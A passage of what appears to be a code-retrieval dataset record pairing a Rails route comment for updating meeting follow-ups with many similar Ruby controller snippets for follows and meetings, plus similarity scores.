}\n else\n format.html { render action: \"new\" }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @following = Following.new(following_params.merge(user: current_user))\n\n respond_to do |format|\n if @following.save\n AdminMailer.delay.object_created(@following)\n format.html { redirect_to @following.object, notice: \"You are now following this #{@following.object.class.to_s.downcase}.\" }\n format.json { render :show, status: :created, location: @following }\n else\n format.html { redirect_to @following.object, notice: \"There was an error following this #{@following.object.class.to_s.downcase}. Please try again in a few minutes.\" }\n format.json { render json: @following.errors, status: :unprocessable_entity }\n end\n end\n end", "def CreateFollowing\n myFollowId = params['followingId']\n myFollowRecord = UsersRecord.find_by(\"userid =:userId\",{userId:myFollowId})\n if myFollowRecord\n if Following.where(\"userid= :userId and followingid= :followingId\",{userId:getUserId[0]['userId'],followingId:myFollowId })\n .first_or_create(\n followingid:myFollowId,\n userid:getUserId[0]['userId'],\n users_record_id:getUserId[0]['rec_id']\n )\n following= Following.where(\"userid =:userId\",{userId:getUserId[0]['userId']}).count\n render json: {following:following, message:\"Following\"}, status: :ok\n else\n render json: {status:\"error\", code:422, message:\"Failed to Follow\"}, status: :unprocessable_entity\n end\n else\n render json: {status:\"error\", code:422, message:\"Failed to Follow\"}, status: :unprocessable_entity\n end\n end", "def create\n @user = User.find(params[:followed_id])\n current_user.follow(@user)\n respond_to do |f|\n f.html { redirect_to @user}\n f.js\n end\n end", "def follow!(user)\n relationships.create!(:followed_id => user.id)\n end", "def create\n @follower = Follower.new(params[:follower])\n\n respond_to do |format|\n if @follower.save\n format.html { redirect_to(@follower, :notice => 'Follower was successfully created.') }\n format.xml { render :xml => @follower, :status => :created, :location => @follower }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @follower.errors, :status => :unprocessable_entity }\n end\n end\n end", "def follow\n @data = {:user_id => params[:follow_user_id], :follow_user_id => current_user.id, :followed => 1}\n status = UserFollower.follow(@data)\n render json: {:status => status}\n end", "def create\n @meetup_comment = MeetupComment.new(params[:meetup_comment])\n\t\t@meetup_comment.user_id = current_user.id\n\t\t@meetup_comment.username = current_user.username\n\t\t@meetup_comment.event_id = params[:event_id]\n respond_to do |format|\n if @meetup_comment.save\n format.html { redirect_to meetup_path(@meetup_comment.event_id), notice: 'Meetup comment was successfully created.' }\n format.json { render json: meetup_path(@meetup_comment.event_id), status: :created, location: request.referer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meetup_comment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@user = User.find(params[:followed_id])\n\t\tcurrent_user.follow(@user)\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to @user }\n\t\t\tformat.js\n\t\tend\n\tend", "def followup_params\n params.require(:followup).permit(:contact, :number, :mode, :job_id)\n end", "def create\n\n user = User.find(params[:followed_id])\n @current_user.follow(user)\n redirect_to user\n\n\n # PATCH/PUT /relationships/1\n # PATCH/PUT /relationships/1.json\n def update\n\n end\n\n # DELETE /relationships/1\n # DELETE /relationships/1.json\n def destroy\n user = Relationship.find(params[:id]).followed\n @current_user.unfollow(user)\n redirect_to user\n end\n end", "def create\n @users_meeting = UsersMeeting.new(params[:users_meeting])\n\n respond_to do |format|\n if @users_meeting.save\n format.html { redirect_to @users_meeting, notice: 'Users meeting was successfully created.' }\n format.json { render json: @users_meeting, status: :created, location: @users_meeting }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_followup\n @followup = Followup.find(params[:id])\n end", "def create\n @user_follow_user = UserFollowUser.new(params[:user_follow_user])\n\n respond_to do |format|\n if @user_follow_user.save\n format.html { redirect_to @user_follow_user, notice: 'User follow user was successfully created.' }\n format.json { render json: @user_follow_user, status: :created, location: @user_follow_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_follow_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n unless @following.nil? then\n @following.destroy\n else\n @following = Following.new(from: current_user, to_id: params[:to_id])\n \n if @following.save\n render :show, status: :created, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end\n end", "def create\n puts \"params : #{params.inspect}\"\n @user_following = UserFollowing.new(user_following_params)\n\n respond_to do |format|\n if @user_following.save\n format.html { redirect_to @user_following, notice: 'User following was successfully created.' }\n format.json { render :show, status: :created, location: @user_following }\n else\n format.html { render :new }\n format.json { render json: @user_following.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @followuptype = Followuptype.new(followuptype_params)\n\n respond_to do |format|\n if @followuptype.save\n format.html { redirect_to @followuptype, notice: 'Followuptype was successfully created.' }\n format.json { render :show, status: :created, location: @followuptype }\n else\n format.html { render :new }\n format.json { render json: @followuptype.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @followship = Followship.create(:follower_id => current_user.id, :following_id => followship_params[:following_id])\n\n respond_to do |format|\n if @followship.save\n format.html { redirect_to @followship, notice: 'Followship was successfully created.' }\n format.json { render :show, status: :created, location: @followship }\n else\n format.html { render :new }\n format.json { render json: @followship.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit\n self.oaw_follow(params[:follow])\n self.oaw_unfollow(params[:unfollow])\n end", "def create\n @meeting = Meeting.new(meeting_params)\n @meeting.checked_out_participant_count = 0\n @meeting.participant_count ||= 0\n respond_to do |format|\n if @meeting.save\n format.html { redirect_to @meeting, notice: 'Meeting was successfully created.' }\n format.json { render action: 'show', status: :created, location: @meeting }\n else\n format.html { render action: 'new' }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def follows\n @follows = @user.follows\n\n respond_to do |format|\n format.html\n format.json { render :json => { :follows => @follows.map{|x| x.as_json(:json => 'friendship')}, :user => @user.as_json(:json => 'wall') }}\n end\n end", "def create\n initiator = self.load_user(params)\n\n if initiator != nil\n new_meeting = Meeting.create\n new_meeting.initiator_id = initiator.id\n new_meeting.location = params[\"meeting\"][\"location\"]\n new_meeting.title = params[\"meeting\"][\"title\"]\n new_meeting.participants << initiator\n new_meeting.save!\n self.send_json(build_custom_meeting_json(meeting: new_meeting))\n else\n self.send_error 401\n end\n end", "def create\n\t@meeting = Meeting.create(params[:meeting])\n \n print \"URL\", url_for(@meeting) + \"?key=\" + @meeting.uuid\n\tredirect_to url_for(@meeting) + \"?key=\" + @meeting.uuid\n end", "def followup_send\n @id = params[:id] # Id of original message\n original_message = Message.find @id\n fu_message = Message.create(params[:record].merge(:following_up => @id)) # a new message object to send the follow up\n fu_message.members = original_message.members_not_responding\n fu_message.create_sent_messages # Sigh, we need this because contact list is generated upon _save_, and unless we\n # call create_sent_messages again (or use another tactic), the specified members\n # will not be included\n#puts \"**** fu_message.members =#{fu_message.members[0].last_name}, #{fu_message.members[0].primary_email}\"\n deliver_message(fu_message)\n flash[:notice] = 'Follow up message sent'\n redirect_to messages_path\n end", "def follow_artist\n relationship = Relationship.create(params.require(:relationship).permit(:follower_id, :followed_id))\n render json: relationship\n end", "def create\n @user = User.find(params[:followed_id])\n current_user.follow(@user)\n\n respond_with @user\n # respond_to do |format|\n # format.html {redirects_to @user}\n # format.js\n # end\n end", "def follow\n current_user.follow_user(@user)\n render json: {ok: 1}\n end", "def create\n @user = User.find(params[:relationship][:followed_id])\n # in the params hash under :relationship, is a hash with 1 entry: {\"followed_id\" => \"9\"}\n current_user.follow!(@user)\n respond_to do |format|\n format.html { redirect_to @user }\n format.js\n end\n\n # this works b/c Ajax uses js to implement the action\n # causes rails to call a JavaScript Embedded Ruby file create.js.erb\n # 'redirect_to @user' reloads the page the user is already on - seems redundant\n end", "def follow_params\n params.require(:follow).permit(:user_id, :following)\n end", "def create\n @title = \"ミーティング登録\"\n @catch_phrase = \"  新規にミーティングを登録します。\"\n @notice = \"\"\n @meeting = Meeting.new(params[:meeting])\n @projects = Project.where(\"id > 0\").order(\"name ASC\")\n @users = User.where(\"id > 0\").where(\"available=TRUE\").order(\"user_name ASC\")\n\n respond_to do |format|\n if @meeting.save\n format.html { redirect_to @meeting, notice: '作成が完了しました!' }\n format.json { render json: @meeting, status: :created, location: @meeting }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @followership = Followership.new(params[:followership].merge(:follower_id => current_user.id, :status => 'following'))\n\n respond_to do |format|\n if @followership.save\n flash[:notice] = \"you are following #{@followership.followed.name}\"\n format.js { render :text => flash[:notice] }\n format.html { redirect_to(@followership) }\n format.xml { render :xml => @followership, :status => :created, :location => @followership }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @followership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def follow(other_user)\n follow_down.create(following_id: other_user.id)\n end", "def follow_params\n params.require(:follow).permit(:following_id, :follower_id)\n end", "def create\n @meeting = Meeting.new(params[:meeting])\n @iteration = Iteration.find(params[:meeting][:iteration_id])\n respond_to do |format|\n if developer?\n if @meeting.save\n flash[:notice] = 'Meeting was successfully created.'\n format.html do \n \n params[:users].each do |uid|\n user = User.find(uid)\n MeetingParticipant.create(:user => user, :meeting => @meeting)\n end if params.key? :users\n \n redirect_to(iteration_stories_url(@iteration))\n end\n format.xml { render :xml => @meeting, :status => :created, :location => @meeting }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @meeting.errors, :status => :unprocessable_entity }\n end\n else\n format.xml { render :xml => XML_ERRORS[:not_authorized] }\n end\n end\n end", "def create\n @leader = User.find(params[:user_id])\n @leader.user_followers.create(:follower_id => current_user.id)\n\n saved = @leader.save\n respond_to do |format|\n if saved\n flash[:notice] = 'You are now following '.concat(@leader.login)\n end\n format.html { redirect_to user_tweets_path(@leader) }\n if saved\n format.xml { render :xml => @leader, :status => :created, :location => @leaders }\n else\n format.xml { render :xml => @leader.errors, :status => :unprocessable_entity }\n end\n end\n end", "def follow(followee_handle)\n HTTParty.post(\"#{@api_path}/users/follow/#{@handle}/#{@password}/#{followee_handle}\")\n end", "def create\n @users_meeting = UsersMeeting.new(users_meeting_params)\n\n respond_to do |format|\n if @users_meeting.save\n format.html { redirect_to @users_meeting, notice: 'Users meeting was successfully created.' }\n format.json { render :show, status: :created, location: @users_meeting }\n else\n format.html { render :new }\n format.json { render json: @users_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def follow\n Following.find_or_create_by_follower_id_and_followed_id(current_user.id, params[:user_id])\n @user_id = params[:user_id]\n @followed = true\n render \"shared/follow\"\n end", "def create\n #debugger\n @resto = Restaurant.find(params[:relationship][:restaurant_id])\n current_user.follow!(@resto)\n #debugger\n #respond_with @resto\n redirect_to @resto\n end", "def create\n @meeting = current_user.meetings.new(meeting_params)\n new_event(@meeting)\n respond_to do |format|\n if @meeting.save\n format.html { redirect_to new_event_path, notice: 'Meeting was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_follow = UserFollow.new(params[:user_follow])\n\n respond_to do |format|\n if @user_follow.save\n format.html { redirect_to(@user_follow, :notice => 'User follow was successfully created.') }\n format.xml { render :xml => @user_follow, :status => :created, :location => @user_follow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_follow.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @meeting = Meeting.new(meeting_params)\n @meeting.user_id = current_user.id\n\n respond_to do |format|\n if @meeting.save\n format.html { redirect_to user_meetings_path, notice: 'Meeting was successfully created.' }\n format.json { render :show, status: :created, location: @meeting }\n else\n format.html { render :new }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def meetup_params\n params.require(:meetup).permit(:title, :description, :url, :created_at)\n end", "def follow_params\n params.permit(:requestor, :following)\n end", "def create\n respond_to do |format|\n if @relationship.save\n format.html { redirect_to @relationship.followed, notice: \"Now following #{@relationship.followed.name}.\" }\n format.json { render :index, status: :created, location: @relationship }\n format.js\n else\n format.html { render :index }\n format.json { render json: @relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @follow = @followable.follows.build\n end", "def update\n if(@check)\n @follower.update(event_params.except(:token))\n if follower.save\n render json: @follower, status: :ok, location: @follower\n else\n render json: @follower.errors, status: :unprocessable_entity\n end\n end\n end", "def follow(user_id)\n followee_relationships.create(followee_id: user_id)\n end", "def create\n @tale = Tale.new(tale_params)\n\n respond_to do |format|\n if @tale.save \n # @tale.create_activity :create, owner: current_user \n # prevention of identity theft\n @tale.user_id = current_user.id\n @tale.save \n taleId = @tale.id.to_s \n\n\n #create notification\n Rails.logger.info(\"heelo Nishat Raihana\");\n followers = Follow.where( followable_type: User, followable_id: current_user.id).pluck(:follower_id)\n\n followers.each do|follower|\n n = Journal.new\n n.notification_type = \"StoryCreate\"\n n.notification_id = @tale.id\n n.notification_to = follower\n n.save\n end \n \n\n\n\n\n\n\n format.html { redirect_to :controller => 'tales', :action => 'show', :id => @tale.id }\n format.json { render action: 'show', status: :created, location: @tale } \n\n else\n format.html { render action: 'new' }\n format.json { render json: @tale.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n current_user.follow(@user)\n redirect_back fallback_location: \"/\"\n end" ]
[ "0.7173046", "0.70722497", "0.6831158", "0.680749", "0.67757136", "0.67615384", "0.6730447", "0.6703397", "0.6695028", "0.6619811", "0.65630436", "0.6536067", "0.6532339", "0.65041983", "0.6481618", "0.6477108", "0.6424949", "0.6374317", "0.63689923", "0.6357284", "0.63559866", "0.6347089", "0.62983376", "0.62750626", "0.62689817", "0.6259802", "0.6243795", "0.6231484", "0.62290615", "0.6227543", "0.62246245", "0.6209705", "0.62053525", "0.6205046", "0.62031096", "0.619175", "0.61906785", "0.61863995", "0.61800325", "0.61608976", "0.6147186", "0.61404115", "0.613528", "0.613528", "0.6115791", "0.60993725", "0.6085081", "0.60738397", "0.60706174", "0.6064692", "0.6055803", "0.60535604", "0.6032293", "0.6030675", "0.60226", "0.60151654", "0.6013541", "0.6005602", "0.59933186", "0.59902406", "0.5986421", "0.5968246", "0.59592515", "0.5957854", "0.5951758", "0.5943555", "0.59427553", "0.5938293", "0.5932566", "0.5927978", "0.59247786", "0.59017277", "0.5894989", "0.5882934", "0.58824426", "0.5881927", "0.5880084", "0.58778834", "0.58693427", "0.586568", "0.58578724", "0.58490604", "0.5846375", "0.58379656", "0.58376664", "0.58341426", "0.5832142", "0.58317065", "0.58307934", "0.58301425", "0.5827038", "0.5821163", "0.58162355", "0.58117837", "0.5810314", "0.57973295", "0.5796329", "0.57863486", "0.5779081", "0.57760656" ]
0.740117
0
PATCH/PUT /meeting_follow_ups/1 PATCH/PUT /meeting_follow_ups/1.json
def update respond_to do |format| if @meeting_follow_up.update(meeting_follow_up_params) format.html { redirect_to @meeting_follow_up, notice: 'Meeting follow up was successfully updated.' } format.json { render :show, status: :ok, location: @meeting_follow_up } else format.html { render :edit } format.json { render json: @meeting_follow_up.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @followup.update(followup_params)\n format.html { redirect_to @job, notice: 'Follow Up was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n end\n end\n end", "def set_meeting_follow_up\n @meeting_follow_up = MeetingFollowUp.find(params[:id])\n end", "def update\n @followup = Followup.find(params[:id])\n\n respond_to do |format|\n if @followup.update_attributes(params[:followup])\n format.html { redirect_to @followup, notice: 'Followup was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @followup.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @incidentfollowup.update(incidentfollowup_params)\n format.html { redirect_to @incidentfollowup, notice: 'Incidentfollowup was successfully updated.' }\n format.json { render :show, status: :ok, location: @incidentfollowup }\n else\n format.html { render :edit }\n format.json { render json: @incidentfollowup.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n head 404\n # @api_v1_follower = Api::V1::Follower.find(params[:id])\n\n # if @api_v1_follower.update(api_v1_follower_params)\n # head :no_content\n # else\n # render json: @api_v1_follower.errors, status: :unprocessable_entity\n # end\n end", "def update\n @meetup = Meetup.find(params[:id])\n\n respond_to do |format|\n if @meetup.update_attributes(params[:meetup])\n format.html { redirect_to @meetup, notice: 'Meetup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @followup_interview = FollowupInterview.find(params[:id])\n @interview = Interview.find(@followup_interview.interview_id)\n\n respond_to do |format|\n if @followup_interview.update_attributes(params[:followup_interview]) && @interview.update_attributes(params[:interview])\n format.html { redirect_to @followup_interview, notice: 'Followup interview was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @followup_interview.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @meetup\n respond_to do |format|\n if @meetup.update(meetup_params)\n notify_collaborators\n format.html { redirect_to meetup_path(@meetup) }\n format.json { render :show, status: :ok, location: @meetup }\n else\n format.html { render :edit }\n format.json do\n render json: @meetup.errors,\n status: :unprocessable_entity\n end\n end\n end\n end", "def update\n respond_to do |format|\n authorize! :update, @rec_event_follow, :message => 'Not authorized as an administrator.'\n if @rec_event_follow.update(rec_event_follow_params)\n format.html { redirect_to @rec_event_follow, notice: 'Rec event follow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rec_event_follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meetup.update(meetup_params)\n format.html { redirect_to @meetup, notice: \"Meetup was successfully updated.\" }\n format.json { render :show, status: :ok, location: @meetup }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meetup.update(meetup_params)\n format.html { redirect_to @meetup, notice: 'Meetup was successfully updated.' }\n format.json { render :show, status: :ok, location: @meetup }\n else\n format.html { render :edit }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.json { head :no_content }\n else\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @follow.update(follow_params)\n format.html { redirect_back fallback_location: root_path, notice: 'Follow was successfully updated.' }\n format.json { render :show, status: :ok, location: @follow }\n else\n format.html { render :edit }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @follower.update(follower_params)\n head :no_content\n else\n render json: @follower.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @follow.update(follow_params)\n format.html { redirect_to @follow, notice: 'Follow was successfully updated.' }\n format.json { render :show, status: :ok, location: @follow }\n else\n format.html { render :edit }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @follow.update(follow_params)\n format.html { redirect_to @follow, notice: 'Follow was successfully updated.' }\n format.json { render :show, status: :ok, location: @follow }\n else\n format.html { render :edit }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @follow = Follow.find(params[:id])\n\n respond_to do |format|\n if @follow.update_attributes(params[:follow])\n format.html { redirect_to @follow, notice: 'Follow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @follow = Follow.find(params[:id])\n\n respond_to do |format|\n if @follow.update_attributes(params[:follow])\n format.html { redirect_to @follow, notice: 'Follow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @follow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if(@check)\n @follower.update(event_params.except(:token))\n if follower.save\n render json: @follower, status: :ok, location: @follower\n else\n render json: @follower.errors, status: :unprocessable_entity\n end\n end\n end", "def update\n @follower = Follower.find(params[:id])\n\n respond_to do |format|\n if @follower.update_attributes(params[:follower])\n format.html { redirect_to @follower, notice: 'Follower was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @follower.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request_meeting = RequestMeeting.find(params[:id])\n\n respond_to do |format|\n if @request_meeting.update_attributes(params[:request_meeting])\n format.html { redirect_to @request_meeting, notice: 'Request meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @follow_up_type.update(follow_up_type_params)\n format.html { redirect_to @follow_up_type, notice: 'Follow up type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @follow_up_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meet = Meet.find(params[:id])\n\n respond_to do |format|\n if @meet.update_attributes(params[:meet])\n format.html { redirect_to @meet, notice: 'Meet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n head 404\n # @api_v1_following = Api::V1::Following.find(params[:id])\n\n # if @api_v1_following.update(api_v1_following_params)\n # head :no_content\n # else\n # render json: @api_v1_following.errors, status: :unprocessable_entity\n # end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n \n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @users_meeting = UsersMeeting.find(params[:id])\n\n respond_to do |format|\n if @users_meeting.update_attributes(params[:users_meeting])\n format.html { redirect_to @users_meeting, notice: 'Users meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @users_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update_attributes(meeting_params)\n format.html { redirect_to user_meeting_path, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = current_user\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to user_meetings_path(@user), notice: 'Editado correctamente.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meal_meeting = MealMeeting.find(params[:id])\n\n respond_to do |format|\n if @meal_meeting.update_attributes(params[:meal_meeting])\n format.html { redirect_to @meal_meeting, notice: 'Meal meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meal_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.user == current_user && @meeting.update(meeting_params)\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @followuptype.update(followuptype_params)\n format.html { redirect_to @followuptype, notice: 'Followuptype was successfully updated.' }\n format.json { render :show, status: :ok, location: @followuptype }\n else\n format.html { render :edit }\n format.json { render json: @followuptype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n\n\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n if developer?\n #take care of meeting participants\n param_users = (params[:users].map {|i| i.to_i} rescue []).to_set\n meeting_users = (@meeting.meeting_participants.map {|mp| mp.user.id}).to_set\n (param_users - meeting_users).each {|uid| MeetingParticipant.create(:user => User.find(uid), :meeting => @meeting)}\n (meeting_users - param_users).each {|uid| MeetingParticipant.find(:first, :conditions => [\"meeting_id = ? and user_id = ?\", @meeting.id, uid]).destroy rescue nil}\n\n if @meeting.update_attributes(params[:meeting])\n flash[:notice] = 'Meeting was successfully updated.'\n format.html { redirect_to(iteration_stories_url(@meeting.iteration)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @meeting.errors, :status => :unprocessable_entity }\n end\n else\n format.xml { render :xml => XML_ERRORS[:not_authorized] }\n end\n end\n end", "def update\n respond_to do |format|\n if @users_meeting.update(users_meeting_params)\n format.html { redirect_to @users_meeting, notice: 'Users meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @users_meeting }\n else\n format.html { render :edit }\n format.json { render json: @users_meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n format.html { redirect_to meetings_path, notice: 'Meeting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:meetup])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n respond_to do |format|\n if @meeting.update(meeting_params)\n @meeting.users << current_user\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @follower = Follower.find(params[:id])\n\n respond_to do |format|\n if @follower.update_attributes(params[:follower])\n format.html { redirect_to(@follower, :notice => 'Follower was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @follower.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @meeting.assign_attributes(params[:meeting])\n if @meeting.save\n format.js { head :no_content }\n format.html { redirect_to @meeting, notice: 'Meeting successfully updated.' }\n format.json { head :no_content }\n else\n format.js { render :json => { :errors => @meeting.errors.full_messages, :message => \"Problem updating meeting\" }, :status => :unprocessable_entity }\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def meeting_update(*args)\n options = Zoom::Params.new(Utils.extract_options!(args))\n options.require(%i[meeting_id])\n Utils.process_datetime_params!(:start_time, options)\n # TODO Handle `topic` attr, Max of 300 characters.\n # TODO Handle `timezone` attr, refer to the id value in timezone list JSON file. like \"America/Los_Angeles\"\n # TODO Verify `password` attr, may only contain the following characters: a-z A-Z 0-9 @ - _\n # TODO Handle `option_audio` attr, Can be \"both\", \"telephony\", \"voip\".\n # TODO Handle `option_auto_record_type`, Can be \"local\", “cloud” or \"none\".\n Utils.parse_response self.class.patch(\"/meetings/#{options[:meeting_id]}\", body: options.except(:meeting_id).to_json, headers: request_headers)\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n\n create_meetings_topics(@meeting)\n end", "def update!(**args)\n @meet_metadata = args[:meet_metadata] if args.key?(:meet_metadata)\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(meeting_params)\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @participant.update_attributes(params[:participant]) && @meeting.update_attributes(@meeting.new_meeting_params_from(@participant, params[:participant]))\n flash[:notice] = 'Participant was successfully updated.'\n format.html { redirect_to(meeting_path(@meeting)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @participant.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n user = self.load_user(params)\n meeting = self.load_meeting(params)\n if user != nil and meeting != nil\n title = params[\"meeting\"][\"title\"]\n if title != nil\n meeting.title = title\n end\n result = meeting.save!\n if result\n self.send_ok\n 